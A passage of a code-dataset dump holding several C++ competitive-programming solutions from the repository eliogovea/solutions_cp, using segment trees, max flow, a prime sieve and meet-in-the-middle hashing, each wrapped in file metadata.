"length_bytes": 3167, "license_type": "no_license", "max_line_length": 117, "num_lines": 135, "path": "/Codeforces-Gym/100526 - 2014 Benelux Algorithm Programming Contest (BAPC 14), 2014-2015 CT S02E08: Codeforces Trainings Season 2 Episode 8/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014 Benelux Algorithm Programming Contest (BAPC 14), 2014-2015 CT S02E08: Codeforces Trainings Season 2 Episode 8\n// 100526K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ninline long long getHash(const vector <int> &v, long long base) {\n\tlong long res = 0;\n\tfor (int i = 0; i < v.size(); i++) {\n\t\tres = base * res + (long long)v[i];\n\t}\n\treturn res;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tint n, m;\n\t\tcin >> n >> m;\n\t\tvector <string> answer(n);\n\t\tvector <int> score(n);\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> answer[i] >> score[i];\n\t\t\tfor (int j = 0; j < m; j++) {\n\t\t\t\tanswer[i][j] -= '0';\n\t\t\t}\n\t\t}\n\t\tif (m == 1) {\n\t\t\tvector <int> ans;\n\t\t\tfor (int mask = 0; mask < 2; mask++) {\n\t\t\t\tbool ok = true;\n\t\t\t\tfor (int i = 0; i < n; i++) {\n\t\t\t\t\tif ((answer[i][0] == mask && score[i] == 0) || (answer[i][0] != mask && score[i] == 1)) {\n\t\t\t\t\t\tok = false;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (ok) {\n\t\t\t\t\tans.push_back(mask);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (ans.size() != 1) {\n\t\t\t\tcout << ans.size() << \" solutions\\n\";\n\t\t\t} else {\n\t\t\t\tcout << ans[0] << \"\\n\";\n\t\t\t}\n\t\t} else {\n\t\t\tint firstHalf = m / 2;\n\t\t\tmap <long long, int> freq;\n\t\t\tmap <long long, int> lastMask;\n\t\t\tmap <long long, int> :: iterator it;\n\t\t\tfor (int mask = 0; mask < (1 << firstHalf); mask++) {\n\t\t\t\tvector <int> firstScore(n);\n\t\t\t\tfor (int i = 0; i < n; i++) {\n\t\t\t\t\tfor (int q = 0; q < firstHalf; q++) {\n\t\t\t\t\t\tif ((mask & (1 << q)) && answer[i][q]) {\n\t\t\t\t\t\t\tfirstScore[i]++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ((!(mask & (1 << q))) && !answer[i][q]) {\n\t\t\t\t\t\t\tfirstScore[i]++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tlong long hashValue = getHash(firstScore, m + 1);\n\t\t\t\tfreq[hashValue]++;\n\t\t\t\tlastMask[hashValue] = mask;\n\t\t\t}\n\t\t\tlong long ans = 0;\n\t\t\tint ansFirstMask = 0;\n\t\t\tint ansSecondMask = 0;\n\t\t\tint secondHalf = m - firstHalf;\n\t\t\tfor (int mask = 0; mask < (1 << secondHalf); mask++) {\n\t\t\t\tvector <int> secondScore(n);\n\t\t\t\tfor (int i = 0; i < n; i++) {\n\t\t\t\t\tfor (int q = 0; q < secondHalf; q++) {\n\t\t\t\t\t\tif ((mask & (1 << q)) && answer[i][firstHalf + q]) {\n\t\t\t\t\t\t\tsecondScore[i]++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ((!(mask & (1 << q))) && !answer[i][firstHalf + q]) {\n\t\t\t\t\t\t\tsecondScore[i]++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tvector <int> needScore(n);\n\t\t\t\tbool ok = true;\n\t\t\t\tfor (int i = 0; i < n; i++) {\n\t\t\t\t\tneedScore[i] = score[i] - secondScore[i];\n\t\t\t\t\tif (needScore[i] < 0) {\n\t\t\t\t\t\tok = false;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (!ok) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tlong long hashValue = getHash(needScore, m + 1);\n\t\t\t\tit = freq.find(hashValue);\n\t\t\t\tif (it != freq.end()) {\n\t\t\t\t\tansFirstMask = lastMask[hashValue];\n\t\t\t\t\tansSecondMask = mask;\n\t\t\t\t\tans += it->second;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (ans != 1) {\n\t\t\t\tcout << ans << \" solutions\\n\";\n\t\t\t} else {\n\t\t\t\tvector <int> v;\n\t\t\t\tv.reserve(m);\n\t\t\t\twhile (ansFirstMask) {\n\t\t\t\t\tv.push_back(ansFirstMask & 1);\n\t\t\t\t\tansFirstMask >>= 1;\n\t\t\t\t}\n\t\t\t\twhile (v.size() < firstHalf) {\n\t\t\t\t\tv.push_back(0);\n\t\t\t\t}\n\t\t\t\twhile (ansSecondMask) {\n\t\t\t\t\tv.push_back(ansSecondMask & 1);\n\t\t\t\t\tansSecondMask >>= 1;\n\t\t\t\t}\n\t\t\t\twhile (v.size() < m) {\n\t\t\t\t\tv.push_back(0);\n\t\t\t\t}\n\t\t\t\tfor (int i = 0; i < m; i++) {\n\t\t\t\t\tcout << v[i];\n\t\t\t\t}\n\t\t\t\tcout << \"\\n\";\n\t\t\t}\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.4093199074268341, "alphanum_fraction": 0.42443326115608215, "avg_line_length": 15.644444465637207, "blob_id": "70fe3ab31cde695e0b50198102889727f64a1381", "content_id": "e13f9ea705cea1df7e0ec3bf0565d7c653c17bc6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 794, "license_type": "no_license", "max_line_length": 61, "num_lines": 45, "path": "/COJ/eliogovea-cojAC/eliogovea-p1390-Accepted-s481558.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\nusing namespace std;\r\n\r\nconst int MAX = 20001;\r\n\r\nint n,a[MAX],x,maxfac,ans;\r\n\r\nbool sieve[MAX];\r\n\r\nvector<int> primos;\r\n\r\nint main()\r\n{\r\n for(int i=2; i<=MAX; i++)sieve[i]=1;\r\n\r\n for(int i=2; i*i<=MAX; i++)\r\n {\r\n if(sieve[i])\r\n {\r\n for(int j=i*i; j<=MAX; j+=i)sieve[j]=0;\r\n }\r\n }\r\n\r\n for(int i=2; i<=MAX; i++)if(sieve[i])primos.push_back(i);\r\n\r\n for(int i=0; i<primos.size(); i++)\r\n for(int j=primos[i]; j<=MAX; j+=primos[i])\r\n if(primos[i]>a[j])a[j]=primos[i];\r\n\r\n scanf(\"%d\",&n);\r\n while(n--)\r\n {\r\n scanf(\"%d\",&x);\r\n if(a[x]>maxfac)\r\n {\r\n ans=x;\r\n maxfac=a[x];\r\n }\r\n }\r\n\r\n printf(\"%d\\n\",ans); \r\n \r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.42335766553878784, "alphanum_fraction": 0.4364963471889496, "avg_line_length": 18.147058486938477, "blob_id": "9b9e2f062fa8d97cdb6a88234e99b65e02d9d14a", "content_id": "3bb04378b315e5a2b1d1fa333907d12011027aee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 685, "license_type": "no_license", "max_line_length": 52, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p3737-Accepted-s1009571.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint n, m;\r\n\tcin >> n >> m;\r\n\tvector <long long> a(n), b(m);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i];\r\n\t}\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tcin >> b[i];\r\n\t}\r\n\tsort(a.begin(), a.end());\r\n\tsort(b.begin(), b.end());\r\n\tlong long sumB = 0;\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tsumB += b[i];\r\n\t}\r\n\tlong long curSum = 0;\r\n\tlong long ans = 0;\r\n\tfor (int i = 0, j = 0; i < n; i++) {\r\n\t\twhile (j < m && b[j] <= a[i]) {\r\n\t\t\tcurSum += b[j];\r\n\t\t\tj++;\r\n\t\t}\r\n\t\tans += (long long)j * a[i] - curSum;\r\n\t\tans += (sumB - curSum) -(long long)(m - j) * a[i];\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.33799999952316284, "alphanum_fraction": 0.38199999928474426, "avg_line_length": 16.543859481811523, "blob_id": "4c66c9e0dfa6bfe7a238de4d869da24cbd3533a7", "content_id": "0cc9012976dc703098fe900fab8c6272a1cc433b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1000, "license_type": "no_license", "max_line_length": 56, "num_lines": 57, "path": "/Codeforces-Gym/101137 - 2016-2017 ACM-ICPC, NEERC, Moscow Subregional Contest/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 101137A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 300005;\n\nint n, a[N];\nint s[N], t;\nint b[N], c[N];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> n;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> a[i];\n\t\ta[n + i] = a[n + n + i] = a[i];\n\t}\n\tint l = 3 * n;\n\tfor (int i = 0; i < l; i++) {\n\t\tb[i] = c[i] = -1;\n\t}\n\tt = 0;\n\tfor (int i = 0; i < l; i++) {\n\t\twhile (t > 0 && a[i] > a[s[t - 1]]) {\n\t\t\tb[s[t - 1]] = i;\n\t\t\tt--;\n\t\t}\n\t\ts[t++] = i;\n\t}\n\tt = 0;\n\tfor (int i = 0; i < l; i++) {\n\t\twhile (t > 0 && a[i] < a[s[t - 1]]) {\n\t\t\tc[s[t - 1]] = i;\n\t\t\tt--;\n\t\t}\n\t\ts[t++] = i;\n\t}\n\tint ansL = -1;\n\tint aa, bb, cc;\n\tfor (int i = 0; i < l; i++) {\n\t\tif (b[i] != -1 && c[b[i]] != -1) {\n\t\t\tint d = max(b[i] - i, c[b[i]] - b[i]);\n\t\t\tif (ansL == -1 || d < ansL) {\n\t\t\t\tansL = d;\n\t\t\t\taa = i + 1;\n\t\t\t\tbb = (b[i] % n) + 1;\n\t\t\t\tcc = (c[b[i]] % n) + 1;\n\t\t\t}\n\t\t}\n\t}\n\tassert(ansL != -1);\n\tcout << aa << \" \" << bb << \" \" << cc << \"\\n\";\n}\n" }, { "alpha_fraction": 0.35361215472221375, "alphanum_fraction": 0.3916349709033966, "avg_line_length": 15.533333778381348, "blob_id": "77fbfff3aa20f86ba2e3fb9dd43712a9037a6d01", "content_id": "694547dbcf23f62c5150c0c5ebe7fbbf7d3a105b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 526, "license_type": "no_license", "max_line_length": 41, "num_lines": 30, "path": "/COJ/eliogovea-cojAC/eliogovea-p3714-Accepted-s1009552.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint c[] = {0, 1, 5, 3, 4, 2, 9, 7, 8, 6};\r\nstring s;\r\nint val['z' + 5];\r\n\r\nint main() {\r\n\twhile (cin >> s) {\r\n\t\tfor (int i = 'a'; i <= 'z'; i++) {\r\n\t\t\tval[i] = 0;\r\n\t\t}\r\n\t\tint curVal = 1;\r\n\t\tfor (int i = 0; i < s.size(); i++) {\r\n\t\t\tif (val[s[i]] == 0) {\r\n\t\t\t\tval[s[i]] = curVal++;\r\n\t\t\t}\r\n\t\t\tint x = val[s[i]];\r\n\t\t\tstring tmp;\r\n\t\t\twhile (x) {\r\n\t\t\t\ttmp += '0' + c[x % 10];\r\n\t\t\t\tx /= 10;\r\n\t\t\t}\r\n\t\t\treverse(tmp.begin(), tmp.end());\r\n\t\t\tcout << tmp;\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.41890910267829895, "alphanum_fraction": 0.44945454597473145, "avg_line_length": 19.484375, "blob_id": "d1fc77e839839e5ab381da2aeae1d3f5e0b4be58", "content_id": "04b9eecfac3561326065ff12c363fa740a8fc309", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1375, "license_type": "no_license", "max_line_length": 71, "num_lines": 64, "path": "/COJ/eliogovea-cojAC/eliogovea-p2941-Accepted-s634437.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <fstream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 60, MAXM = 1005;\r\n\r\nint n, ady[MAXM], cap[MAXM], flow[MAXM], next[MAXM], last[MAXN], E;\r\nint used[MAXN], id;\r\nstring s1, s2;\r\nint source, sink;\r\n\r\ninline void add(int a, int b) {\r\n\tady[E] = b; cap[E] = 1; flow[E] = 0; next[E] = last[a]; last[a] = E++;\r\n\tady[E] = a; cap[E] = 0; flow[E] = 0; next[E] = last[b]; last[b] = E++;\r\n}\r\n\r\nint dfs(int u, int cur) {\r\n\tif (u == sink) return cur;\r\n\tif (used[u] == id) return 0;\r\n\tused[u] = id;\r\n\tfor (int e = last[u]; e != -1; e = next[e])\r\n\t\tif (cap[e] > flow[e]) {\r\n\t\t\tint r = dfs(ady[e], min(cur, cap[e] - flow[e]));\r\n\t\t\tif (r > 0) {\r\n\t\t\t\tflow[e] += r;\r\n\t\t\t\tflow[e ^ 1] -= r;\r\n\t\t\t\treturn r;\r\n\t\t\t}\r\n\t\t}\r\n\treturn 0;\r\n}\r\n\r\nint maxFlow() {\r\n\tint f, tot = 0;\r\n\twhile (true) {\r\n id++;\r\n\t\tf = dfs(source, 1 << 29);\r\n\t\tif (f == 0) return tot;\r\n\t\ttot += f;\r\n\t}\r\n}\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\twhile (cin >> n && n) {\r\n\t\tE = 0;\r\n\t\tfor (int i = 0; i < 60; i++)\r\n\t\t\tlast[i] = -1;\r\n\t\tsource = 0;\r\n\t\tsink = 1;\r\n\t\tfor (int i = 'A'; i <= 'Z'; i++) {\r\n\t\t\tadd(source, i - 'A' + 2);\r\n\t\t\tadd(i - 'A' + 2 + 'Z' - 'A' + 1, sink);\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> s1 >> s2;\r\n\t\t\tadd(s1[0] - 'A' + 2, s2[0] - 'A' + 2 + 'Z' - 'A' + 1);\r\n\t\t}\r\n\t\tcout << maxFlow() << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3930530250072479, "alphanum_fraction": 0.4168190062046051, "avg_line_length": 17.535715103149414, "blob_id": "0965b0d407ee35f74f168524e9629c2b1570457d", "content_id": "ef6b566ed764b5fb5a8eb164aa70cb8841e3a26a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 547, "license_type": "no_license", "max_line_length": 74, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p2337-Accepted-s738424.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <queue>\r\n#include <cmath>\r\n\r\nusing namespace std;\r\n\r\npriority_queue<int> Q;\r\nint n, x[1005], y[1005];\r\ndouble ans, a;\r\n\r\nint main() {\r\n\twhile (scanf(\"%d\", &n) && n) {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tscanf(\"%d%d\", x + i, y + i);\r\n\t\t\tfor (int j = 0; j < i; j++) {\r\n\t\t\t\tQ.push((x[i] - x[j]) * (x[i] - x[j]) + (y[i] - y[j]) * (y[i] - y[j]));\r\n\t\t\t\tif (Q.size() > 6) Q.pop();\r\n\t\t\t}\r\n\t\t}\r\n\t\tans = 0;\r\n\t\twhile (!Q.empty()) {\r\n\t\t\ta = Q.top(); Q.pop();\r\n\t\t\ta = sqrt(a);\r\n\t\t\tans += a;\r\n\t\t}\r\n\t\tprintf(\"%.2lf\\n\", ans);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3444022834300995, "alphanum_fraction": 0.35863378643989563, "avg_line_length": 23.137405395507812, "blob_id": "c2bf4a0ecfad50851bf11cbbfe9290873e245959", "content_id": "857ad1f2a5d1fee68f64549c17ad60c579ffc634", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3162, "license_type": "no_license", "max_line_length": 69, "num_lines": 131, "path": "/Caribbean-Training-Camp-2018/Contest_6/Solutions/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct kk{\n int sum, mx, mn;\n bool isnull = false;\n kk( bool isnull = false ) : isnull(isnull) { sum = mx = mn = 0; }\n kk( int sum, int mx, int mn ) : sum(sum), mx(mx), mn(mn){}\n};\n\nvoid mergeKK( const kk &a, const kk &b, kk &c ){\n if( a.isnull && b.isnull ){\n c = kk(true);\n }\n else if( a.isnull ) c = kk( b.sum , b.mx , b.mn );\n else if( b.isnull ) c = kk( a.sum , a.mx , a.mn );\n else c = kk( a.sum + b.sum , b.mx , a.mn );\n}\n\nvoid buildSt( kk *st, int nod, int l, int r, string &s, char &c ){\n if( l == r ){\n if( s[l-1] != c ){\n st[nod] = kk();\n st[nod].isnull = true;\n }\n else{\n st[nod] = kk( 1 , l , l );\n }\n return;\n }\n\n int ls = nod << 1, rs = ls + 1, mid = (l+r) >> 1;\n buildSt( st , ls , l , mid , s, c );\n buildSt( st , rs , mid+1 , r , s, c );\n\n mergeKK( st[ls] , st[rs] , st[nod] );\n}\n\nvoid updateSt( kk *st , int nod, int l, int r, int p, int upd ){\n if( l == r ){\n if( upd == -1 ){\n st[nod] = kk( true );\n }\n else{\n st[nod] = kk( 1 , l , l );\n }\n return;\n }\n\n int ls = nod << 1, rs = ls + 1, mid = (l+r) >> 1;\n if( p <= mid ) {\n updateSt( st , ls , l , mid , p , upd );\n }\n else{\n updateSt( st , rs , mid+1 , r , p , upd );\n }\n\n mergeKK( st[ls] , st[rs] , st[nod] );\n}\n\nkk querySt( kk *st, int nod, int l, int r, int lq, int rq ){\n if( r < lq || rq < l || st[nod].isnull ) return kk(true);\n if( lq <= l && r <= rq ){\n return st[nod];\n }\n\n int ls = nod << 1, rs = ls + 1, mid = (l+r) >> 1;\n kk a = querySt( st , ls , l , mid , lq , rq );\n kk b = querySt( st , rs , mid+1 , r , lq , rq );\n\n kk c; mergeKK( a , b , c );\n return c;\n}\n\nconst int MAXN = 100002;\nconst int MAXC = 'z' - 'a' + 2;\nkk st[MAXC][4*MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n string s; cin >> s;\n\n int n = s.size();\n for( char c = 'a'; c <= 'z'; c++ ){\n buildSt( st[c - 'a'] , 1 , 1 , n , s , c );\n }\n\n int q; cin >> q;\n\n while( q-- ){\n int t; cin >> t;\n //cerr << \"t = \" << t <<'\\n';\n\n if( t == 1 ){\n int l, r, k; cin >> l >> r >> k;\n int ini = l;\n char c = 'z';\n char sol = '-';\n\n while( k > 0 && ini <= r && c >= 'a' ){\n //cerr << \"ini = \" << ini << '\\n';\n kk x = querySt( st[c - 'a'] , 1 , 1 , n , ini , r );\n if( !x.isnull ){\n sol = c;\n k -= x.sum;\n ini = x.mx + 1;\n }\n\n c--;\n }\n\n if( k > 0 ){\n sol = '-';\n }\n cout << sol << '\\n';\n }\n else{\n int p; char c; cin >> p >> c;\n if( s[p-1] != c ){\n updateSt( st[ s[p-1] - 'a' ] , 1 , 1 , n , p , -1 );\n s[p-1] = c;\n updateSt( st[ s[p-1] - 'a' ] , 1 , 1 , n , p , 1 );\n }\n }\n }\n}\n" }, { "alpha_fraction": 0.38039082288742065, "alphanum_fraction": 0.4046495854854584, "avg_line_length": 18.468965530395508, "blob_id": "db1d887dfecf4ef009195283bcfa60a1350f9ab9", "content_id": "6579d79f1d8ca3f542a836631ec1c7c358cb6781", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2968, "license_type": "no_license", "max_line_length": 87, "num_lines": 145, "path": "/Caribbean-Training-Camp-2017/Contest_1/Solutions/C1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst double EPS = 1e-9;\r\n\r\nconst int N = 150 * 1000 + 10;\r\n\r\nint n, m;\r\ndouble c;\r\nint x[N];\r\ndouble d[N];\r\ndouble p[N];\r\n\r\ndouble a[N];\r\ndouble sa[N];\r\n\r\nstruct data {\r\n\tbool isNull;\r\n\tdouble all;\r\n\tdouble bestLeft;\r\n\tdouble bestRight;\r\n\tdouble best;\r\n\tdata() {\r\n\t\tisNull = true;\r\n\t}\r\n};\r\n\r\ndata merge(const data &a, const data &b) {\r\n\tif (a.isNull) {\r\n\t\treturn b;\r\n\t}\r\n\tif (b.isNull) {\r\n\t\treturn a;\r\n\t}\r\n\tdata res;\r\n\tres.isNull = false;\r\n\tres.all = a.all + b.all;\r\n\tres.bestLeft = max(a.bestLeft, a.all + b.bestLeft);\r\n\tres.bestRight = max(b.bestRight, b.all + a.bestRight);\r\n\tres.best = max(0.0, max(max(a.best, b.best), max(res.all, a.bestRight + b.bestLeft)));\r\n\treturn res;\r\n}\r\n\r\ndata st[4 * N];\r\n\r\nvoid build(int x, int l, int r) {\r\n\tif (l == r) {\r\n\t\tst[x].isNull = false;\r\n\t\tst[x].all = a[l];\r\n\t\tst[x].bestLeft = st[x].bestRight = st[x].best = max(0.0, a[l]);\r\n\t} else {\r\n\t\tint mid = (l + r) >> 1;\r\n\t\tbuild(2 * x, l, mid);\r\n\t\tbuild(2 * x + 1, mid + 1, r);\r\n\t\tst[x] = merge(st[2 * x], st[2 * x + 1]);\r\n\t}\r\n}\r\n\r\ndata query(int x, int l, int r, int ql, int qr) {\r\n\tif (l > qr || r < ql) {\r\n\t\treturn data();\r\n\t}\r\n\tif (ql <= l && r <= qr) {\r\n\t\treturn st[x];\r\n\t}\r\n\tint mid = (l + r) >> 1;\r\n\treturn merge(query(2 * x, l, mid, ql, qr), query(2 * x + 1, mid + 1, r, ql, qr));\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(13);\r\n\r\n\t//freopen(\"input001.txt\", \"r\", stdin);\r\n\r\n\tcin >> n >> m >> c;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> x[i];\r\n\t\tif (i != 0) {\r\n\t\t\td[i] = x[i] - x[i - 1];\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i < n; i++) {\r\n cin >> p[i];\r\n p[i] /= 100.0;\r\n\t}\r\n\r\n\tn--;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\ta[i] = d[i] / 2.0 - c * p[i];\r\n\t}\r\n\r\n\tfor (int i = 1; i <= n; i++) {\r\n sa[i] = sa[i - 1] + a[i];\r\n\t}\r\n\r\n\t// for (int i = 1; i <= n; i++) {\r\n // cerr << d[i] << \"\\t\";\r\n\t// }\r\n\t// cerr << \"\\n\\n\";\r\n\t// for (int i = 1; i <= n; i++) {\r\n // cerr << p[i] << \"\\t\";\r\n\t// }\r\n\t// cerr << \"\\n\\n\";\r\n\t// for (int i = 1; i <= n; i++) {\r\n // cerr << a[i] << \"\\t\";\r\n\t// }\r\n\t// cerr << \"\\n\\n\";\r\n\r\n\tbuild(1, 1, n);\r\n\tint s, e;\r\n\tdouble ans = 0.0;\r\n\t// double slow = 0.0;\r\n\twhile (m--) {\r\n\t\tcin >> s >> e;\r\n\t\ts--;\r\n\t\te--;\r\n\r\n\t\t// double slowAns = 0.0;\r\n\t\t// int l = -1, r = -1;\r\n\t\t// for (int i = s + 1; i <= e; i++) {\r\n // for (int j = i; j <= e; j++) {\r\n // if (sa[j] - sa[i - 1] > slowAns) {\r\n // l = i;\r\n // r = j;\r\n // slowAns = sa[j] - sa[i - 1];\r\n // }\r\n // }\r\n\t\t// }\r\n\t\t// slow += slowAns;\r\n\r\n\t\t// cerr << s + 1 << \" \" << e << \" \" << l << \" \" << r << \" \" << slowAns << \"\\n\";\r\n\r\n\t\tdouble val = query(1, 1, n, s + 1, e).best;\r\n\t\tans += val;\r\n\t\t// assert(abs(val - slowAns) < EPS);\r\n\t\t//cerr << val << \" \" << slowAns << \"\\n\";\r\n\t}\r\n\t// slow *= 0.5;\r\n\t// cerr << slow << \"\\n\";\r\n // ans = 0.5 * ans;\r\n\tcout << fixed << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3928128778934479, "alphanum_fraction": 0.43370509147644043, "avg_line_length": 15.543478012084961, "blob_id": "d9cff40889f9101e7ed990b29d4d28cd25374938", "content_id": "b97eb90ba1d4f468d0fa4a069e6be09e7c805d8c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 807, "license_type": "no_license", "max_line_length": 54, "num_lines": 46, "path": "/COJ/eliogovea-cojAC/eliogovea-p3369-Accepted-s827132.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 1000000007;\r\n\r\nconst int N = 1000005;\r\n\r\nint n, k;\r\nll f[N];\r\n\r\nll power(ll x, int n) {\r\n\tll res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = (res * x) % mod;\r\n\t\t}\r\n\t\tx = (x * x) % mod;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> k;\r\n\tint d = n - k;\r\n\tf[0] = 1;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tf[i] = (1LL * f[i - 1] * i) % mod;\r\n\t}\r\n\tll ans = 0;\r\n\tll sign = 1;\r\n\tfor (int i = 0; i <= d; i++) {\r\n\t\tans += sign * ((f[d] * power(f[i], mod - 2)) % mod);\r\n\t\tans = (ans + mod) % mod;\r\n\t\tsign *= -1LL;\r\n\t}\r\n\tans = (ans * f[n]) % mod;\r\n\tans = (ans * power(f[k], mod - 2)) % mod;\r\n\tans = (ans * power(f[n - k], mod - 2)) % mod;\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3877870440483093, "alphanum_fraction": 0.4065761864185333, "avg_line_length": 13.406015396118164, "blob_id": "361d07f92ef57e2f125e37b4f8f76243439140d2", "content_id": "e01f4c5caf15e9c98054b714290bc222a9791f8b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1916, "license_type": "no_license", "max_line_length": 40, "num_lines": 133, "path": "/COJ/eliogovea-cojAC/eliogovea-p3964-Accepted-s1200109.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 200 * 1000 + 10;\n\nint n, m, s;\nvector <int> g[N];\nint p[N];\nbool vis[N];\nint depth[N];\nbool possible[N];\npair <int, int> st[N];\nint top;\n\nvoid dfs(int u, int f = -1, int d = 0) {\n\tp[u] = f;\n\tdepth[u] = d;\n\tvis[u] = true;\n\n\tif (g[u].size() == 1 && f != -1) {\n\t\tpossible[u] = true;\n\t}\n\n\tfor (auto v : g[u]) {\n\t\tif (v != f) {\n\t\t\tif (!vis[v]) {\n\t\t\t\tdfs(v, u, d + 1);\n\t\t\t} else if (depth[v] < d) {\n\t\t\t\tif (g[u].size() == 2) {\n\t\t\t\t\tpossible[u] = true;\n\t\t\t\t}\n\t\t\t\tint x = u;\n\t\t\t\twhile (p[x] != v) {\n\t\t\t\t\tx = p[x];\n\t\t\t\t}\n\t\t\t\tif (g[x].size() == 2) {\n\t\t\t\t\tpossible[x] = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tcin >> n >> m >> s;\n\t\n\tfor (int i = 1; i <= n; i++) {\n\t\tvis[i] = false;\n\t\tpossible[i] = false;\n\t\tg[i].clear();\n\t}\n\t\n\tfor (int i = 0, x, y; i < m; i++) {\n\t\tcin >> x >> y;\n\t\tg[x].push_back(y);\n\t\tg[y].push_back(x);\n\t}\n\n/*\n\tdfs(s);\n\t\n\tfor (int i = 1; i <= n; i++) {\n\t\tif (possible[i]) {\n\t\t\tcerr << i << \"\\n\";\n\t\t}\n\t}\n\texit(0);\n*/\n\n\ttop = 0;\n\tst[top++] = make_pair(s, 0);\n\tp[s] = -1;\n\tvis[s] = true;\n\tdepth[s] = 0;\n\n\twhile (top > 0) {\n\t\tint u = st[top - 1].first;\n\t\tint & e = st[top - 1].second;\n\n\t\tif (e < g[u].size()) {\n\t\t\tint v = g[u][e++];\n\n\t\t\tif (v == p[u]) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (!vis[v]) {\n\t\t\t\tp[v] = u;\n\t\t\t\tvis[v] = 